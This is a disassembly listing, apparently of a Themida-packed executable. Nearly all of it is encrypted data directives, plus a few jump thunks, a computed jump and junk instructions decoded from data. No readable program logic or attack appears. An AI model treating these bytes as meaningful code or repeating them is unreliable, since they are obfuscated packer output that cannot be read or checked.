		dd 0F740FCF5h, 774AD15h, 0F3547628h, 0CB3D63DEh, 4A6775C1h
		dd 87F1FF15h, 65738B1Ah, 0CCBE019Bh, 0B42551A1h, 0E877D84Ah
		dd 487D98CDh, 4BB51F2Bh, 0EFFD08DEh, 3819F9ECh,	8DA9FCC6h
		dd 4852B57Fh, 0C7D3EEEEh, 536EFD66h, 2742D547h,	0E1B5511Bh
		dd 30FA0824h, 21B4C0DDh, 762FF907h, 117F86B0h, 92AD2F07h
		dd 0BA992586h, 306E4DBFh, 5957826h, 78267826h, 723B6195h
		dd 95A3B94Ch, 0A534612Bh, 7B0E808Ch, 3588525Eh,	0F346101Ch
		dd 9105CFDDh, 615AAB8Bh, 91679B9Bh, 0FCEB3D08h,	4E299BCDh
		dd 0F483E423h, 8E66CBD7h, 1E182207h, 0B195A1BEh, 2EF80622h
		dd 4A587201h, 2D6DE680h, 0D2698748h, 8B13F668h,	2D957738h
		dd 0ADC91323h, 94AF3E9Fh, 801BBE88h, 31957738h,	0B2CD0F27h
		dd 7D6645A6h, 45957758h, 0BC243B7h, 401F8833h, 95771F5Eh
		dd 51E3557Bh, 0FFFFFF6Fh, 0AE522801h, 7E560F47h, 7DDE1A21h
		dd 980265A7h, 6A769326h, 515D7A09h, 0B405DECh, 187DE7F5h
		dd 8BA1305Dh, 35010B7Dh, 9A7E8AA7h, 0BA19B10h, 48BD33h
		dd 0BA6D0000h, 2E14E85h, 9B8BE5EBh, 6AF9668Ch, 405E3D4Eh
		dd 998F6467h, 32970973h, 1D8160C9h, 0BC8F6467h,	544A2996h
		dd 858F6467h, 8411ED5Fh, 0E9AB8B55h, 31107DF4h,	957826BCh
		dd 992895BBh, 1E027480h, 418Eh,	99284200h, 80AA7480h, 52C4D0EDh
		dd 0A20F4277h, 8BE62AC3h, 21AA99Bh, 6AB982F4h, 0A044D250h
		dd 0F9DB0EB5h, 0C19BC58Fh, 8E1A80A7h, 0A0056F10h, 0EDF7CAC8h
		dd 0DB164B49h, 0CF5E8F6Eh, 0F3199578h, 9928830Fh, 7BA56F7Dh
		dd 4EC0CEE8h, 0C8929EBBh, 0E2F00C9Bh, 0E97CEE18h, 885FC0CCh
		dd 0D4B32053h, 9B8634E7h, 7A24032Ch, 5F8F6A18h,	6205CF39h
		dd 8F6A1838h, 0BA270FD5h, 3918C145h, 6C67h, 0BF281700h
		dd 7826BEE0h, 83F51B95h, 0D340B3A8h, 4DD26AFDh,	3EB62E43h
		dd 674D271Eh, 0BEE0BF97h, 1B95776Ah, 0AC198BF5h, 3A576D43h
		dd 6A2EC762h, 124A15F8h, 0EB119B86h, 4965F421h,	0D547713Bh
		dd 69F2A8F2h, 663C658Fh, 7478553Dh, 8793AC51h, 0B72993BDh
		dd 0EA7989ADh, 95E7C1CDh, 0B1AA457h, 82F785F7h,	0A63918C0h
		dd 100h, 80992856h, 0A680AA74h,	0D39F3706h, 31C43617h
		dd 113E0814h, 0E95B6782h, 67313D56h, 0A8C2F714h, 0CCA6D09Ah
		dd 0D78F7622h, 0DEA812F6h, 1626E8Bh, 772E4322h,	313D5A95h
		dd 0A82441D0h, 0FE7C2C2Dh, 27F15BF1h, 0AF1C578Ch, 0A0FEDD46h
		dd 399576EDh, 0A1BEA113h, 0BA9B8503h, 675C3394h, 0CDA07FECh
		dd 6957981h, 86505C77h,	3B3F6EECh, 0C22CC0CDh, 1B388750h
		dd 0AE1B450Fh, 5860CFCFh, 7AE40A89h, 92CEA40Dh,	0ADF1D0A5h
		dd 2C895839h, 9F162C06h, 496C56A3h, 52BC3259h, 0F59806E5h
		dd 1B418958h, 0F1FD16A9h, 0DCE80190h, 0E6933906h, 0FB4F15B2h
		dd 1C0h, 0EE4F5B72h, 0D435435Fh, 0BE1F2D45h, 0AA0B192Fh
		dd 95F6021Bh, 51E2EB0h,	0EF0998F9h, 0D6F180E1h,	0BDDA69CAh
		dd 154250B1h, 64526836h, 5CA8718Fh, 70DDE902h, 47B9C7E1h
		dd 53A57E6h, 0EB15DFEDh, 303E1481h, 71F6A9A6h, 0DA66C739h
		dd 0E14E85BAh, 86365D02h, 0ED8FE9Bh, 6A162F6Bh,	26B5DE8Fh
		dd 933FD09h, 38A98D97h,	3918C7C3h, 5B65340Ah, 8A92DC54h
		dd 698EF3ABh, 56C0E68Fh, 0B852E4h, 2020000h, 0BC0FD9E5h
		dd 9B2A97A3h, 82AC7682h, 0C2A34610h, 195782Bh, 22E5B998h
		dd 0CEF49578h, 0A0ACC95Ch, 8793B03Fh, 0B62D22BDh, 37F56A49h
		dd 40669B86h, 30D308DFh, 3B796E40h, 0C7349E53h,	8816F55Eh
		dd 518F6936h, 3656482Bh, 0ED838F69h, 50536C60h,	43B51FA2h
		dd 2B17F7D6h, 7CA2957Ah, 3267800Fh, 143E0816h, 51E049AAh
		dd 83992C38h, 57700375h, 0A89E754Bh, 0B47AB2E6h, 0BF60h
		dd 505C7300h, 364460EFh, 202E46D5h, 0C1A30BFh, 0F7031CABh
		dd 1F2FB196h, 0A99FA06h, 0F281E2F0h, 0DB6ACBD7h, 4351B2BEh
		dd 51673716h, 0A9728F64h, 0DDE9025Dh, 0C4D0ED7Ch, 5228D763h
		dd 401F6F4Fh, 9577925Eh, 517B557Bh, 0AB3EB0FAh,	65B8828Eh
		dd 4CDB3C48h, 0D6E4FA2Fh, 5F7C0B6Ch, 86E68953h,	0BFA51371h
		dd 829F3DF9h, 0C891ED06h, 238D12CCh, 0C27B6h, 819E2D8Eh
		dd 0EF7EAB75h, 0C053C5D3h, 28D29CAAh, 14EA181Eh, 0E2CFE5F2h
		dd 0B46B45BEh, 5E2F8363h, 607D1082h, 412C7251h,	87AD85DCh
		dd 6D0DEF4h, 821172DCh,	7133065h, 0C7A6133Dh, 85DC41D7h
		dd 0A872DC02h, 354h, 28B40800h,	15DFEB02h, 0CF99A5C2h
		dd 8B55617Ch, 46101E38h, 4CEDAF3h, 0C28C98B1h, 814B596Fh
		dd 3E08162Eh, 0F7C1CFEBh, 0E6895697h, 4C681h, 0EE830000h
		dd 24348704h, 6824248Bh, 2E85h,	68242C89h, 167Ah, 68243489h
		dd 613C124h, 81242C8Bh,	4C4h, 49C76800h, 24890000h, 24048324h
		dd 53575E04h, 0DF89EB89h, 87E895Bh, 2434FF5Fh, 4C4815Eh
		dd 8B000000h, 8950242Ch, 405E0h, 0C0830000h, 24048704h
		dd 74FAE95Ch, 8222FFFBh, 8254680Ah, 0D655B83Ch,	0C5030613h
		dd 295BE0FFh, 0E8824265h, 0B6C9171Ah, 1DE978CBh, 0BFEB30EFh
		dd 21812CBh, 4FCE7407h,	0D03337E9h, 3DCF3CDEh, 296F680Ch
		dd 82E54ABh, 5E5D1FABh,	8D8D5D36h, 613D7A6h, 1FDD9D29h
		dd 8D89060Eh, 60E2FC5h,	8185C7FCh, 0FC060E08h, 2B000065h
		dd 0E0C41BDh, 0D985C706h, 60E28h, 53000000h, 1F319D33h
		dd 0FF5F060Eh, 0E2485B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0EA6AE328h
		dd 469264FAh, 0DD9D89F1h, 66060E01h, 0BE9C68Bh,	7E000000h
		dd 7E4CDFF0h, 74E9B87Eh, 95FF7600h, 60E09B9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E0C35141h, 0D5B50BCBh
		dd 6A060E22h, 4595FF00h, 8B060E0Fh, 0D079EBC0h,	0DF49837Fh
		dd 81E92FEFh, 0CDC85C13h, 0DD275809h, 8B90C004h, 4CD3E35Fh
		dd 4AF22F12h, 4BF35590h, 0EA292C8h, 13164EFh, 34C0C879h
		dd 2B1928B6h, 18ACB4BDh, 0A44A8ED9h, 7FD81845h,	17A52FDBh
		dd 71889126h, 8EF74345h, 6AE6DB18h, 45FB4AFFh, 7F8693F5h
		dd 2EB586B9h, 73470ACBh, 0C415826Fh, 0FF2D348Dh, 0BEEA36D7h
		dd 4E9AE16Bh, 638A266Eh, 0AB359F5Eh, 11682DBFh,	43E9h
		dd 2967DC00h, 41h, 0C51C5700h, 6148434Ah, 0A5ADF936h, 528C88A7h
		dd 0B7FB75h, 0ADF99CBEh, 89937EE5h, 0F4C7009Dh,	6063921Dh
		dd 0DE19h, 5 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A796B
; ---------------------------------------------------------------------------
		push	613D964h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613DA87h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613DBA9h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613DC54h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613DD3Dh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613DE60h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613DEFDh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613E0EEh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613E1C3h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		db 81h
; ---------------------------------------------------------------------------
		mov	bh, [edi-5C9B9F05h]
		fild	word ptr [ecx+ecx*2-7Ah]
		retn	2D27h
; ---------------------------------------------------------------------------
		db 68h,	0A4h, 9
; ---------------------------------------------------------------------------
		adc	[eax-7Ch], ecx
		pop	ecx
		jmp	short loc_5A6F58
; ---------------------------------------------------------------------------
		dw 0B982h
		dd 9A615AF5h, 803D3BD6h, 652421BCh, 0C98A55A1h,	5D7A684Eh
		dd 92EB9902h, 8B4C1BA6h, 617D88BAh, 0EBD9D372h,	399C8790h
		dd 0D7F36E6Ah, 0C6838120h, 6433AE71h, 4509C8C5h, 38DAD67Ah
		dd 874B52E6h, 0DB9A9732h, 4978C0BFh, 420BB97Ah,	4AC59891h
		dd 20DFDC7Bh, 0E1C4C15Ch, 0D8A722E7h, 42C14809h, 681A8B1h
		dd 54A96C67h, 0C6FB3D3Ch, 2DBA36F7h, 0CB4692AFh, 0AC347E75h
; ---------------------------------------------------------------------------


loc_5A6F58:				; CODE XREF: Themida_:005A6EDCj
		cmp	al, 0A2h
		inc	esi
		mov	esp, 952h
		sbb	ah, [ebx]
		pop	eax
		xchg	eax, esp
		stc
		std
		cmp	al, 78h
		fucom	st(2)
		pop	ds
		pop	ebx
		rol	dh, 1
		cmp	eax, 1DE1AAA2h
		repne jb short loc_5A6F8A
		sbb	edx, [edx-72h]
		rep cli
		xor	ebp, [edi-2Ch]
		setalc
		sbb	[ebp-46h], edx
		mov	ebp, 23EE3AFEh
		bound	esp, [edi]


loc_5A6F8A:				; CODE XREF: Themida_:005A6F74j
		imul	edi, [edx+5Dh],	0B684329Bh
		mov	ecx, 9E19DAD6h
		iret
; ---------------------------------------------------------------------------
		db 30h
		dd 21A6F38h, 0A76B2A27h, 534D50E8h, 9E97728Eh, 12E15CD7h
		dd 54B37443h, 0EC5B69B0h, 5D5F1C71h, 7B6177BEh,	0A4E7E400h
		dd 40A29841h, 66A16231h, 0DAA29841h, 3B8C0A5Fh,	456EA0Dh
		dd 343CB6h, 92CE0000h, 8B4C1BA6h, 6177BFCDh, 6F6C8803h
		dd 0A298402Ch, 0C1DAD4h, 0A2984099h, 2743BE39h,	75914E4Ch
		dd 0C9EC3DBFh, 0DD0B5C1Eh, 0B6045C1Ah, 0AF0Ch, 0B9B69E00h
		dd 0B03DEFAh, 0DBD47342h, 0CCA7BF14h, 9D4110CFh, 0DF54FA48h
		dd 0A7BF141Ch, 4C10CFCCh, 98C2DD81h, 1E8FE9CEh,	0BB940CC9h
		dd 77745B69h, 5C59F4B8h, 342FCE9Dh, 499E5571h, 0BB063231h
		dd 0C6152BECh, 2CCB6177h, 32F6712Eh, 2DFCC573h,	8BB6856Ch
		dd 0F3C23D98h, 7A965954h, 642B24C3h, 713C9148h,	4D11DAD2h
		dd 9BF1BAB2h, 2287B2AEh, 2FD862BEh, 3D000008h, 1CB77B46h
		dd 9B5F20h, 0E37E4205h,	0C56024E9h, 154004CDh, 753E36AFh
		dd 561D16B1h, 3CF9F792h, 21E0DD78h, 8546115Dh, 5D7A6A02h
		dd 0B6A755BEh, 9631F5BEh, 0A816DA99h, 4C1BA692h, 0B05DBC7Dh
		dd 2CED5B69h, 5B69B0EDh, 0A823EA65h, 5E995204h,	10652030h
		dd 20C48445h, 25F46177h, 9B3F2564h, 9C8C5A2h, 0AF72C742h
		dd 3E0D1834h, 9B3F1A7Dh, 0E63BB6A2h, 9B3FEA29h,	6FC082A2h
		dd 3BCB641h, 0F470B6h, 0B6020000h, 3DEFAB9h, 0C09A190Bh
		dd 3E9E09A6h, 76AAA7C3h, 125B69A9h, 73F02D15h, 855150FCh
		dd 6092F5B6h, 0B32E5B69h, 0DCD97438h, 3602011Dh, 8BA76E67h
		dd 0BB8A59D4h, 425E211Ch, 2DF2EC8Bh, 48055A11h,	61771D38h
		dd 0EAA96DE8h, 5A4734Eh, 752C4809h, 0E2865520h,	1E8F4F83h
		dd 41FE5348h, 9888927Dh, 956E771Bh, 0A40B8E4Fh,	4CC7A88Bh
		dd 0AC0D77A8h, 0F94E130Dh, 0D79E9736h, 24E3E0BBh, 5BD65108h
		dd 2CF5ED8Ch, 2C1BE5Dh,	5A52EDADh, 7B143B91h, 0F8542284h
		dd 70D6Eh, 9D685F00h, 81423ED9h, 642722BDh, 460B05A0h
		dd 26EFE782h, 588D3762h, 38D39760h, 19B4783Fh, 0FF9A5E1Bh
		dd 337F4302h, 6B60A768h, 77E05D7Ah, 0F5BEB6C9h,	0C98C8726h
		dd 1AE9B474h, 69B03E59h, 4EC98A5Bh, 25B69B0h, 0F045C087h
		dd 0D5995855h, 51F0660Ah, 0EB3D9FCh, 0E7864BB9h, 36D126EFh
		dd 835E7A39h, 4603C786h, 5B69B0C7h, 4110B187h, 2127159Dh
		dd 4CA1EB6Ch, 0E219C081h, 3EB9617Dh, 14D3D06Fh,	0F9B8B550h
		dd 0C82ED2DDh, 0DCEFD4BFh, 0CA450200h, 3F82B675h, 91BDAF70h
		dd 0C03B989Bh, 0B8C9696Ah, 931D7922h, 662h, 8448130Ah
		dd 682CEDE9h, 4B0FD2CDh, 2DF1B6B0h, 0DD19A92h, 0B0362E2h
		dd 0EAE37E42h, 0C6C45F23h, 0ADAA4509h, 13DE2AEEh, 7A6C3752h
		dd 74228B5Dh, 0D9D6B9B6h, 0A8839F1Ah, 0B0D798ABh, 105B69B0h
		dd 0B0198041h, 3EB95B69h, 372C48C3h, 242168B9h,	0A3F29665h
		dd 9A3AFCCh, 0F8C383D8h, 459A5F59h, 0F5C434C3h,	1EF2AFh
		dd 83270000h, 6BED05E1h, 701A065h, 1A6F2642h, 0F6E286ACh
		dd 0DC3D02E2h, 0BBD31D72h, 61000001h, 93F6B786h, 2F5B69B0h
		dd 541D15B4h, 6F2C8138h, 5B69B02Ch, 171588B0h, 4F10DF5Ah
		dd 617D8895h, 6A09D853h, 97F5856Dh, 2C480B06h, 0DB05D175h
		dd 60FBBF3Ah, 8988A463h, 0A44312AFh, 4845E4ABh,	61B66D89h
		dd 9767D596h, 0B559989Bh, 3E4E3C42h, 5B1E732Eh,	5A338AE0h
		dd 338F22B8h, 579A9h, 31FCF300h, 15D6D26Dh, 0F8BBB651h
		dd 0DA9F9934h, 0BA837B16h, 0EC19CBF6h, 0CC672BF4h, 0AD480CD3h
		dd 932EF2AFh, 0C713D796h, 6DDC3BFCh, 0B745D7Ah,	0FAB9B65Dh
		dd 470603DEh, 9C6B362Bh, 69B0BCDBh, 7B75145Bh, 68E39AB6h
		dd 0ECB6E0C4h, 0DB308CFBh, 0C8C50C5Dh, 0D67A4509h, 0B839F62Dh
		dd 1698EDBFh, 0AFF60CE1h, 0C45h, 0E1DB7A00h, 759C71Ch
		dd 0E6h, 0EFE78695h, 0FE530A26h, 0ACA4F93Fh, 345314E3h
		dd 8C5B69B0h, 28C79611h, 666A422Ch, 5F3F2A76h, 3C48FE4h
		dd 9E823632h, 9A877F2h,	0BE894D0Ch, 56EB2EEFh, 0C867A282h
		dd 3D920DCAh, 0CAE6A5A2h, 3F006DCBh, 0A28256D8h, 0A1E8A978h
		dd 21A28256h, 0E1B02BA6h, 0B5787312h, 0D08DE299h, 98966E1Ch
		dd 0EE9261DCh, 386C2F60h, 4D186DDFh, 24E1DF7Eh,	783734CFh
		dd 4A110AA9h, 0CFEBB2ABh, 6803C318h, 9190AC6Bh,	7C4B1AA7h
		dd 51C109ADh, 6C5F37CDh, 0B16E6CABh, 1469E4A8h,	0AF015957h
		dd 0CAC86792h, 0BF3AF10Dh, 0AC590469h, 7E08643Ch, 456h
		dd 90541F16h, 7438F9F5h, 571BDED9h, 39FDC2BCh, 19DDA69Eh
		dd 170F76EEh, 0F6EF8A4Eh, 0D2D06B2Fh, 0B9B65115h, 1FEA36FAh
		dd 7A6E3B5Eh, 802E975Dh, 11307h, 0A6929500h, 0BA8B4C1Bh
		dd 7A617D88h, 999130FFh, 0D94001D0h, 79A28597h,	3FDEA9FEh
		dd 15B48342h, 43035819h, 0CAC8ABA8h, 0B2716E0Dh, 9564DF96h
		dd 0F57AE9F1h, 0B453341Eh, 26DDF9B6h, 7EBAB9D1h, 1B37443h
		dd 0BF98913Bh, 0D9D67544h, 0BEBB561Ah, 54E4E3FFh, 0D3DD9E6Dh
		dd 0ED92AF04h, 5B5D1C72h, 0B10D3CACh, 3B927h, 0F1BCB300h
		dd 0D596922Dh, 0B87B7611h, 9A5F59F4h, 7A433BD6h, 0ACD98BB6h
		dd 8C27EBB4h, 6D08CC93h, 53EEB26Fh, 87D39756h, 6E9CFBBCh
		dd 0CB345D7Ah, 0EDE7861Dh, 2A460904h, 8A3F873h,	55304C0Bh
		dd 0A27D9958h, 0EAC5E1AAh, 36112DEEh, 7F017B38h, 0D4520B2Eh
		dd 803F3C83h, 6122F1BCh, 5B69B026h, 48CA1F9Ah, 0AFF64BAFh
		dd 3F77h, 1CDDAC00h, 0A49644FDh, 1785DA55h, 4C1BA692h
		dd 0D5F1B0ADh, 3DFEC91Eh, 6177FEEFh, 0C05F2EA9h, 813E02C5h
		dd 0A2980303h, 0A05E8E5h, 56502B47h, 43BE7591h,	6E6904C8h
		dd 0F058FABh, 93000003h, 0DED7B8B6h, 84A47317h,	124BDDB0h
		dd 38F9C897h, 5B697BD1h, 940E8894h, 36FDD6C8h, 434E66BBh
		dd 0CBE7A8A4h, 2724BF14h, 0C09A468h, 0E6D138F9h, 0F6715B69h
		dd 24841852h, 0FC771A42h, 490805E0h, 4F72C685h,	273DBF80h
		dd 3CDB6177h, 0AB627E41h, 0F4171430h, 70A29B3Bh, 0C82F5DAEh
		dd 5FB603BCh, 0AE03C4C0h, 55E2h, 0B7867400h, 69B093F6h
		dd 15B42F5Bh, 853C5819h, 0FAC77130h, 1ADE872Bh,	0D2359DEAh
		dd 4C74203h, 7B5B69h, 391FE0ABh, 9761770Bh, 8003001Ch
		dd 5CA29B15h, 9CA1A94Dh, 1CB110ADh, 48EC14B7h, 0DF34A6FFh
		dd 15E21061h, 11B60426h, 0D4h, 0EAABA746h, 0B9B62795h
		dd 0B03DEFAh, 7C1B2642h, 0EAA1BD82h, 3EFDFA95h,	8B4A4722h
		dd 0D54E18BCh, 1F6DEA5Ah, 0D34D0ACAh, 0B55B6959h, 5B2AF9B8h
		dd 69597F9Ah, 358D35Bh,	0ECABA843h, 5A67D1D0h, 2C8ECA8Bh
		dd 9B3A6177h, 0C386DBA2h, 73C58448h, 68BE7F4Eh,	2098888Ah
		dd 9A099051h, 0C1A88Bh,	0A88B9A99h, 7CF7BE39h, 1AE96427h
		dd 0EBBA837Bh, 9A3C5B1Ch, 0C0BCA88Bh, 652CE3FFh, 3AD595EAh
		dd 6A237942h, 0A2284DDh, 1C824AEh, 0ADA40000h, 87831EE2h
		dd 6C6702C6h, 504AE5A9h, 342CC78Bh, 0C87CA76Bh,	18DCA59Dh
		dd 0F9BD847Dh, 0DFA3605Eh, 0C4884744h, 0ADECAD78h, 255D7A50h
		dd 0BEB60EBCh, 0B0B9E0A1h, 9E195B69h, 0C7C45F23h, 9E9A3908h
		dd 5AC888DDh, 4C1BA692h, 0D1EDB4ADh, 39FAC51Ah,	6177BF1Fh
		dd 0F1A36B1h, 8F5C836Bh, 70311750h, 0A2982629h,	5EB32EA9h
		dd 982662A1h, 0E738FAA2h, 4B63EB9h, 0AAE8B6h, 0B67A0000h
		dd 3DEFAB9h, 1B26420Bh,	68BD827Ch, 69B475ABh, 5716135Bh
		dd 29F0E988h, 4101560Dh, 0CEEAA9A6h, 895869CFh,	883980C8h
		dd 0A394389Eh, 9039AF20h
		dd 128D4E4Ah, 0BB7FFABDh, 0B6853CFCh, 8B5A02F5h, 7443BE98h
		dd 5014DDD5h, 9EF4BDB5h, 22869DE7h, 0F3951F7Bh,	79000000h
		dd 58F3B782h, 3CD79B5Ch, 1FBA7E41h, 19C6025h, 517C4009h
		dd 0B17A7293h, 925952EDh, 783533CEh, 5D1C19B4h,	0C1824D99h
		dd 5D7A5146h, 86E391FAh, 239817E2h, 0F84D5618h,	0D89C655Dh
		dd 0B281403Dh, 551813h,	0E5A67540h, 5B6965A2h, 0E04EA31Eh
		dd 2BFAB9B6h, 0FDC4BD5Ch, 69B0DD3Ch, 0A5FA755Bh, 0ADE828Dh
		dd 5A231B33h, 0EC59B7B6h, 40FFFC97h, 467BBD7Ch,	513EB677h
		dd 4FCA617Dh, 26E3E180h, 0E1DEB9D1h, 0B7B45322h, 0D025DCF8h
		dd 95787510h, 0DFBAD69Bh, 2AA520E5h, 35BA110Eh,	0B1735B49h
		dd 4E4AE960h, 0A09D388Dh, 85821DE1h, 9FAAC6h, 6D244007h
		dd 0BE837D18h, 378846A2h, 7034F3F0h, 425B01A5h,	3F760A67h
		dd 50A1449Bh, 0F84D8718h, 85A1605Dh, 0FCDDDB7Ah, 6B223E01h
		dd 0C81DD4F0h, 0D7Eh, 24330C00h, 0B0759455h, 52CD5B69h
		dd 0BFB68FFDh, 0FDD8F4h, 4C4A2541h, 9F98738Fh, 0E9E1BCD8h
		dd 31290420h, 77714C68h, 0C0BB96B2h, 0A06E1FDh,	68692D49h
		dd 1D12h, 89242C89h, 4C581E5h, 83000000h, 2C8704EDh, 89515C24h
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 2414895Ch, 8904EC83h
		dd 0BD552404h, 3B871015h, 50CAE581h, 814D24CBh,	0CE5124F5h
		dd 10ED8135h, 890F3986h, 242C8BEAh, 4C481h, 8B540000h
		dd 0C4832404h, 81525604h, 3E93242Ch, 815E7746h,	463E93C6h
		dd 8708977h, 2434FF5Eh,	4C48158h, 8B000000h, 89502414h
		dd 405E0h, 0C0830000h, 24048704h, 9B32E95Ch
		db 0FAh, 0FFh, 0A1h
; ---------------------------------------------------------------------------


loc_5A796B:				; CODE XREF: Themida_:005A6E68j
		mov	eax, 613E2DBh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 2F7F2766h, 7B11802Bh, 7913DA00h, 7B197E47h, 113FA709h
		dd 0A788632h, 422B51DEh, 6E8h, 0F7836D00h, 600A814Eh, 28A0Fh
		dd 61600000h, 0EBF08160h, 6014D9E6h, 5E616161h,	8D12B866h
		dd 68E7C681h, 0D8810000h, 4495CED0h, 0BF0FFF2Bh, 3E0C8BC2h
		dd 8F8BF181h, 84B87A51h, 810CDD4Bh, 0C90CF6F1h,	0D08B6677h
		dd 277CC181h, 0B70F10F7h, 3E0C89DEh, 68B0F51h, 81000000h
		dd 0F5224FD3h, 81665B13h, 83952FE2h, 9E903EFh, 2E000000h
		dd 213D3854h, 0C5831B81h, 0B70F604Fh, 93BE66C0h, 0FF816136h
		dd 0FFFF97B4h, 0FFA3850Fh, 7E8FFFFh, 75000000h,	43C5CFE9h
		dd 80604177h, 5B61E2C9h, 12E9h,	4D051800h, 53h,	2 dup(0)
		dd 0E9000000h, 0B80h, 13E60068h, 675AE906h, 0F368FFFBh
		dd 0E90613E6h, 0FFFB6750h, 13E87F68h, 6746E906h, 5F68FFFBh
		dd 0E90613E9h, 0FFFB673Ch, 13EBF068h, 6732E906h, 7E68FFFBh
		dd 0E90613EDh, 0FFFB6728h, 13EE5968h, 671EE906h, 859CFFFBh
		dd 6D891879h, 576FFE5Fh, 4359E849h, 2C45D435h, 58DABF20h
		dd 0C2232F48h, 0AA0B1933h, 93F4001Bh, 7ADBE704h, 3E603F6Ch
		dd 9B8F6442h, 0E50286D2h, 26A7F7D6h, 0C329578h,	1CABD8A2h
		dd 0D629F3FFh, 0AF42ACBAh, 84178997h, 23FA5B67h, 6746B32Eh
		dd 9B863454h, 2CCF99BFh, 8F6A186Eh, 0A9738199h,	622C3A56h
		dd 0B253E3A9h, 0B493FC25h, 8F6A18EAh, 4D57C9EFh, 0C183F8E9h
		dd 3BCA3918h, 224C1622h, 0F96B798Fh, 5867h, 85BA1700h
		dd 3952E14Eh, 0E54EBB2Dh, 68324056h, 76E9CC3Eh,	419B8636h
		dd 16A5F9D8h, 0E348F6Ah, 6984D39Ch, 2540935Dh, 0BB254F19h
		dd 0B6E48751h, 578F6A16h, 0CE5DA591h, 0B0DAA4B2h, 0C73BB03Eh
		dd 19823918h, 6A0A643Ah, 754F758Fh, 0D7FD730Ah,	2EC032B7h
		dd 0C2h, 0D9E502DEh, 97A3BC0Fh,	515D7ACDh, 0B173487h, 0B1C2C89Eh
		dd 7B55617Eh, 0CC3EE6DBh, 0FEF38C6Bh, 0C1DE9577h, 0A8C554B5h
		dd 237D29Ch, 0EE818DA6h, 0D3FDC7D3h, 0BD93FC69h, 0F4DB71F8h
		dd 404E6A3Dh, 70E24C76h, 8610AA8Dh, 5938619Bh, 8F69D545h
		dd 0D7A0AECAh, 0C830D541h, 9736DB6h, 72673E9Fh,	53B392FFh
		dd 56957A6Ah, 1B34C330h, 0B645AE0Fh, 9EC892A0h,	7480992Ch
		dd 0E6938D9Eh, 4FA369B2h, 934h,	7EDFEB02h, 64C5D3EFh, 4EAFBDD5h
		dd 3A9BA9BFh, 258692ABh, 95AEBE40h, 7F992889h, 66811071h
		dd 4D6AF95Ah, 0A5D2E041h, 6440D8C6h, 0EC38018Fh, 7CDDE902h
		dd 7F9BD0EDh, 137DA771h, 85BA26B2h, 5D02E14Eh, 0FE9B8636h
		dd 2F6B0ED8h, 0DE8F6A16h, 4EC31E18h, 723918C7h,	0D0h, 0D9E50222h
		dd 94A3BC0Fh, 7826E9B5h, 60CAF095h, 2B8CF396h, 28459578h
		dd 820AF1Ch, 90E69D8Ah,	6DD7D892h, 0EE0B9AFBh, 0CEE675E2h
		dd 39CCF6C0h, 0D7A11321h, 0F2FE1BAAh, 0B18CFE28h, 5938D5BCh
		dd 0F8EAB96Bh, 0F542218Eh, 169B8614h, 83B88FF0h, 0F104E350h
		dd 0F2957A7Eh, 6522341Ch, 0B04330E0h, 4C158793h, 7A50B926h
		dd 0B6001F0Dh, 0C7A61323h, 895937D7h, 0D76ADC02h, 0DC45B2BEh
		dd 5937A1FDh, 7F123889h, 86E75967h, 0FCD2DEF7h,	0B2E675E1h
		dd 41A3F7BDh, 0F5000008h, 0E271D2DEh, 0C857B8C6h, 0B241A2B0h
		dd 9E2D8E9Ch, 33187985h, 7C88A1B1h, 64728C1Bh, 4D597403h
		dd 34405DECh, 0B998C5D3h, 8F6440E5h, 2DF2BF4h, 0ED7CDDE9h
		dd 0D763C4D0h, 0FD9E502h, 32939FBCh, 7EEB665Bh,	35C8D4EFh
		dd 19430D1Bh, 0EC5B3AA7h, 3F9B8640h, 0B9224F19h, 6A0BC4DAh
		dd 82EF158Fh, 6A0BFBA3h, 46B8DE8Fh, 298A96B3h, 0A7717D9Ah
		dd 0EE2EC004h, 0C76F3522h, 0A6C3F815h, 39A6D09Ah, 0E5E8445Ah
		dd 56F95FBh, 0ECF815A4h, 0E81C7F22h, 0B47EFBE5h, 83D5A82h
		dd 1475DFEBh, 925C6885h, 0E5E8A6EFh, 63036FBh, 40ADB9D6h
		dd 0A1D0906Ah, 0CE40A3EDh, 592E046Dh, 0CD2D5C12h, 0AAC75ACCh
		dd 88A2319Eh, 1486B07Ah, 47BAAF4Ah, 0F79B71DAh,	3ADCAAA8h
		dd 0CBE8CB3Dh, 3801F401h, 0DDCFA512h, 0C2081CC0h, 7F56B729h
		dd 0CBAA174Ah, 0FBE57348h, 1F2B48D7h, 0F4BEE4ADh, 0C9584A51h
		dd 37FFC5EFh, 0B98135AAh, 44357D8h, 28070000h, 0FD6F7D99h
		dd 0FBF0CD21h, 6F3C1B88h, 849B8655h, 0A10B1935h, 0AAC554BDh
		dd 38AAD49Eh, 39C8DE55h, 0AF18816Ch, 9A25CED0h,	2E50BB2h
		dd 0B29A259Ch, 0CAA5173Dh, 12F15E95h, 0B8A840E9h, 4D5B7706h
		dd 1EE75983h, 0F1AD8CF5h, 0E8AC8C0Ah, 0ABFDFC2h, 0F41AAC8Ch
		dd 3025C08Ah, 0D27554C1h, 59B29A45h, 0F45DC633h, 7DCE8915h
		dd 0B82A50A6h, 9BFC0825h, 0DE3EF0Ch, 95C1DEC8h,	0B5AAFEC4h
		dd 81000006h, 6EFD5E6Ah, 54E34452h, 3ECD2E3Ch, 2AB91A28h
		dd 0BFA40511h, 8142D3Dh, 0F0FE18A7h, 0D9E5008Fh, 0C0CCE978h
		dd 4524515Fh, 8F643E59h, 26BB780h, 639AB0E5h, 69D33D4Bh
		dd 26344C9Fh, 0CD35C5h,	7D0C0000h, 648E5864h, 0BBBA62F2h
		dd 3F0FE74Ch, 6A77BF85h, 330AB2F5h, 6B17h, 0BBBAC700h
